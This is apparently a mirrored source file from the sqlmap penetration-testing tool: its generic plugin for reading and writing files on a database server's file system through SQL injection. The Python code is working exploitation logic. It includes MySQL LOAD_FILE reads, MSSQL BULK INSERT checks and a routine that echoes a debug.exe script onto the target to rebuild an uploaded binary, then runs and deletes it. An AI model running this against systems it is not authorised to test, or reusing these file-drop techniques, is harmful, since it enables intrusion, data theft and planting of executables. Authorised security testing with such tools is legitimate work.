mirror of
https://github.com/sqlmapproject/sqlmap.git
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336 lines
11 KiB
Python
336 lines
11 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import binascii
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import codecs
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import os
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from lib.core.agent import agent
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from lib.core.common import dataToOutFile
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from lib.core.common import Backend
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapUndefinedMethod
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from lib.request import inject
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class Filesystem:
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"""
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This class defines generic OS file system functionalities for plugins.
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"""
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def __init__(self):
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self.fileTblName = "sqlmapfile"
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self.tblField = "data"
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def __unbase64String(self, base64Str):
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unbase64Str = "%s\n" % base64Str.decode("base64")
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return unbase64Str
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def __unhexString(self, hexStr):
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if len(hexStr) % 2 != 0:
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errMsg = "for some reason(s) sqlmap retrieved an odd-length "
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errMsg += "hexadecimal string which it is not able to convert "
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errMsg += "to raw string"
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logger.error(errMsg)
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return hexStr
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try:
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cleanStr = binascii.unhexlify(hexStr)
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except TypeError, e:
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logger.critical("unable to unhex the string ('%s')" % e)
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return None
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return cleanStr
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def __binDataToScr(self, binaryData, chunkName):
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"""
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Called by Microsoft SQL Server plugin to write a binary file on the
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back-end DBMS underlying file system
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"""
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fileLines = []
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fileSize = len(binaryData)
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lineAddr = 0x100
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lineLen = 20
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fileLines.append("n %s" % chunkName)
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fileLines.append("rcx")
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fileLines.append("%x" % fileSize)
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fileLines.append("f 0100 %x 00" % fileSize)
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for fileLine in xrange(0, len(binaryData), lineLen):
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scrString = ""
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for lineChar in binaryData[fileLine:fileLine+lineLen]:
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strLineChar = binascii.hexlify(lineChar)
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if not scrString:
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scrString = "e %x %s" % (lineAddr, strLineChar)
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else:
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scrString += " %s" % strLineChar
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lineAddr += len(lineChar)
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fileLines.append(scrString)
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fileLines.append("w")
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fileLines.append("q")
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return fileLines
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def __checkWrittenFile(self, wFile, dFile, fileType):
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if Backend.isDbms(DBMS.MYSQL):
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lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
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elif Backend.isDbms(DBMS.PGSQL):
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lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
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elif Backend.isDbms(DBMS.MSSQL):
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self.createSupportTbl(self.fileTblName, self.tblField, "text")
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# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
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lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
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wFileSize = os.path.getsize(wFile)
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logger.debug("checking if the %s file has been written" % fileType)
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dFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if isNumPosStrValue(dFileSize):
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infoMsg = "the file has been successfully written and "
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infoMsg += "its size is %s bytes" % dFileSize
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dFileSize = long(dFileSize)
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if wFileSize == dFileSize:
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infoMsg += ", same size as the local file '%s'" % wFile
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else:
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infoMsg += ", but the size differs from the local "
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infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize)
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logger.info(infoMsg)
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else:
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warnMsg = "it looks like the file has not been written, this "
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warnMsg += "can occur if the DBMS process' user has no write "
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warnMsg += "privileges in the destination path"
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logger.warn(warnMsg)
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def fileToSqlQueries(self, fcEncodedList):
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"""
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Called by MySQL and PostgreSQL plugins to write a file on the
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back-end DBMS underlying file system
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"""
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counter = 0
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sqlQueries = []
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for fcEncodedLine in fcEncodedList:
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if counter == 0:
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sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
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else:
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updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
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sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
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counter += 1
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return sqlQueries
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def fileEncode(self, fileName, encoding, single):
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"""
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Called by MySQL and PostgreSQL plugins to write a file on the
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back-end DBMS underlying file system
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"""
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fcEncodedList = []
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fp = codecs.open(fileName, "rb")
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fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
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if not single:
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fcLength = len(fcEncodedStr)
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if fcLength > 256:
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for i in xrange(0, fcLength, 256):
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string = ""
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if encoding == "hex":
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string += "0x"
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string += fcEncodedStr[i:i+256]
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if encoding == "base64":
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string = "'%s'" % string
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fcEncodedList.append(string)
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if not fcEncodedList:
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if encoding == "hex":
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fcEncodedStr = "0x%s" % fcEncodedStr
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elif encoding == "base64":
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fcEncodedStr = "'%s'" % fcEncodedStr
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fcEncodedList = [ fcEncodedStr ]
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return fcEncodedList
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def updateBinChunk(self, binaryData, tmpPath):
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"""
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Called by Microsoft SQL Server plugin to write a binary file on the
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back-end DBMS underlying file system
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"""
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randScr = "tmpf%s.scr" % randomStr(lowercase=True)
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chunkName = randomStr(lowercase=True)
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fileScrLines = self.__binDataToScr(binaryData, chunkName)
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forgedScrLines = []
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cmd = ""
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charCounter = 0
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maxLen = 512
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logger.debug("generating binary file %s\%s, please wait.." % (tmpPath, chunkName))
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for scrLine in fileScrLines:
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forgedScrLine = "echo %s " % scrLine
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forgedScrLine += ">> \"%s\%s\"" % (tmpPath, randScr)
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forgedScrLines.append(forgedScrLine)
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for forgedScrLine in forgedScrLines:
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cmd += "%s & " % forgedScrLine
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charCounter += len(forgedScrLine)
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if charCounter >= maxLen:
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self.execCmd(cmd)
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cmd = ""
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charCounter = 0
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if cmd:
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self.execCmd(cmd)
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commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr )
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complComm = " & ".join(command for command in commands)
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self.execCmd(complComm, silent=True)
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return chunkName
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def askCheckWrittenFile(self, wFile, dFile, fileType):
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message = "do you want confirmation that the file '%s' " % dFile
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message += "has been successfully written on the back-end DBMS "
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message += "file system? [Y/n] "
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output = readInput(message, default="Y")
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if not output or output in ("y", "Y"):
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self.__checkWrittenFile(wFile, dFile, fileType)
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def unionReadFile(self, rFile):
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errMsg = "'unionReadFile' method must be defined "
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errMsg += "into the specific DBMS plugin"
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raise sqlmapUndefinedMethod, errMsg
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def stackedReadFile(self, rFile):
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errMsg = "'stackedReadFile' method must be defined "
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errMsg += "into the specific DBMS plugin"
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raise sqlmapUndefinedMethod, errMsg
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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errMsg = "'unionWriteFile' method must be defined "
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errMsg += "into the specific DBMS plugin"
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raise sqlmapUndefinedMethod, errMsg
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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errMsg = "'stackedWriteFile' method must be defined "
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errMsg += "into the specific DBMS plugin"
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raise sqlmapUndefinedMethod, errMsg
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def readFile(self, rFile):
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fileContent = None
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self.checkDbmsOs()
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if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
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debugMsg = "going to read the file with stacked query SQL "
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debugMsg += "injection technique"
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logger.debug(debugMsg)
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fileContent = self.stackedReadFile(rFile)
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elif Backend.isDbms(DBMS.MYSQL):
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fileContent = self.unionReadFile(rFile)
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else:
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errMsg = "none of the SQL injection techniques detected can "
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errMsg += "be used to read files from the underlying file "
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errMsg += "system of the back-end %s server" % Backend.getDbms()
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logger.error(errMsg)
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return None
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if fileContent in ( None, "" ) and not Backend.isDbms(DBMS.PGSQL):
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self.cleanup(onlyFileTbl=True)
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return
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elif isinstance(fileContent, (list, tuple, set)):
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newFileContent = ""
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for chunk in fileContent:
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if isinstance(chunk, (list, tuple, set)):
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if len(chunk) > 0:
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chunk = chunk[0]
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else:
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chunk = ""
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if chunk:
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newFileContent += chunk
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fileContent = newFileContent
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fileContent = self.__unhexString(fileContent)
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rFilePath = dataToOutFile(fileContent)
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if not Backend.isDbms(DBMS.PGSQL):
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self.cleanup(onlyFileTbl=True)
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return rFilePath
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def writeFile(self, wFile, dFile, fileType=None, confirm=True):
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self.checkDbmsOs()
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if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
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debugMsg = "going to upload the %s file with " % fileType
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debugMsg += "stacked query SQL injection technique"
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logger.debug(debugMsg)
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self.stackedWriteFile(wFile, dFile, fileType, confirm)
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self.cleanup(onlyFileTbl=True)
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elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
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debugMsg = "going to upload the %s file with " % fileType
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debugMsg += "UNION query SQL injection technique"
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logger.debug(debugMsg)
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self.unionWriteFile(wFile, dFile, fileType, confirm)
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else:
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errMsg = "none of the SQL injection techniques detected can "
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errMsg += "be used to write files to the underlying file "
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errMsg += "system of the back-end %s server" % Backend.getDbms()
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logger.error(errMsg)
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return None
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